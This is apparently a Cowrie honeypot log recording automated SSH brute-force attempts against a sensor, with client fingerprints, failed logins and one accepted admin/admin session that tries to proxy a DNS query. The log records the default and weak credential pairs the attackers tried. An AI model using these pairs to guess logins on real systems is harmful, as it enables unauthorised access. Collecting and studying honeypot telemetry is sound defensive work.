{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:02.813677Z","src_ip":"20.203.42.204","session":"f89cd8b0ee65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"noi","message":"login attempt [root/noi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:03.550821Z","src_ip":"20.203.42.204","session":"f89cd8b0ee65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":34798,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bbd4a233727","protocol":"ssh","message":"New connection: 103.75.199.4:34798 (159.203.135.109:22) [session: 7bbd4a233727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:04.300406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:04.305029Z","src_ip":"103.75.199.4","session":"7bbd4a233727","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:04.396470Z","src_ip":"103.75.199.4","session":"7bbd4a233727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:04.671283Z","src_ip":"103.75.199.4","session":"7bbd4a233727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:04.729782Z","src_ip":"20.203.42.204","session":"f89cd8b0ee65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42218,"dst_ip":"159.203.135.109","dst_port":22,"session":"08f427b32554","protocol":"ssh","message":"New connection: 45.153.34.114:42218 (159.203.135.109:22) [session: 08f427b32554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:05.519623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:05.524790Z","src_ip":"45.153.34.114","session":"08f427b32554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:05.629729Z","src_ip":"45.153.34.114","session":"08f427b32554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:05.765761Z","src_ip":"103.75.199.4","session":"7bbd4a233727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:06.040784Z","src_ip":"45.153.34.114","session":"08f427b32554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:07.135923Z","src_ip":"45.153.34.114","session":"08f427b32554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34116,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cb30e2f85ed","protocol":"ssh","message":"New connection: 45.153.34.114:34116 (159.203.135.109:22) [session: 4cb30e2f85ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:13.758353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:13.763758Z","src_ip":"45.153.34.114","session":"4cb30e2f85ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:13.848609Z","src_ip":"45.153.34.114","session":"4cb30e2f85ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:14.132672Z","src_ip":"45.153.34.114","session":"4cb30e2f85ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:15.294031Z","src_ip":"45.153.34.114","session":"4cb30e2f85ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45198,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a573a6b5101","protocol":"ssh","message":"New connection: 45.153.34.114:45198 (159.203.135.109:22) [session: 9a573a6b5101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:21.961456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:21.966531Z","src_ip":"45.153.34.114","session":"9a573a6b5101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:22.044477Z","src_ip":"45.153.34.114","session":"9a573a6b5101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:22.380338Z","src_ip":"45.153.34.114","session":"9a573a6b5101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:23.467211Z","src_ip":"45.153.34.114","session":"9a573a6b5101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.780675411224365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:24.041872Z","src_ip":"50.6.8.71","session":"05f508c801a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":56966,"dst_ip":"159.203.135.109","dst_port":22,"session":"1381817ddd91","protocol":"ssh","message":"New connection: 103.75.199.4:56966 (159.203.135.109:22) [session: 1381817ddd91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:26.090026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:26.095332Z","src_ip":"103.75.199.4","session":"1381817ddd91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:26.187272Z","src_ip":"103.75.199.4","session":"1381817ddd91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:26.463196Z","src_ip":"103.75.199.4","session":"1381817ddd91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:27.557531Z","src_ip":"103.75.199.4","session":"1381817ddd91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":60412,"dst_ip":"10.17.0.5","dst_port":22,"session":"80be6af2e485","protocol":"ssh","message":"New connection: 87.251.64.176:60412 (10.17.0.5:22) [session: 80be6af2e485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:27.875798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:27.880429Z","src_ip":"87.251.64.176","session":"80be6af2e485","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:27.977365Z","src_ip":"87.251.64.176","session":"80be6af2e485","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:28.268040Z","src_ip":"87.251.64.176","session":"80be6af2e485","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:28.367899Z","session":"80be6af2e485","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:28.466067Z","src_ip":"87.251.64.176","session":"80be6af2e485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:28.565419Z","src_ip":"87.251.64.176","session":"80be6af2e485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57160,"dst_ip":"159.203.135.109","dst_port":22,"session":"08cd146d00b3","protocol":"ssh","message":"New connection: 45.153.34.114:57160 (159.203.135.109:22) [session: 08cd146d00b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:30.150623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:30.160405Z","src_ip":"45.153.34.114","session":"08cd146d00b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:30.248640Z","src_ip":"45.153.34.114","session":"08cd146d00b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:30.508793Z","src_ip":"45.153.34.114","session":"08cd146d00b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:31.616841Z","src_ip":"45.153.34.114","session":"08cd146d00b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57168,"dst_ip":"159.203.135.109","dst_port":22,"session":"605611da88f7","protocol":"ssh","message":"New connection: 45.153.34.114:57168 (159.203.135.109:22) [session: 605611da88f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:38.126449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:38.137586Z","src_ip":"45.153.34.114","session":"605611da88f7","protocol":"ssh"}
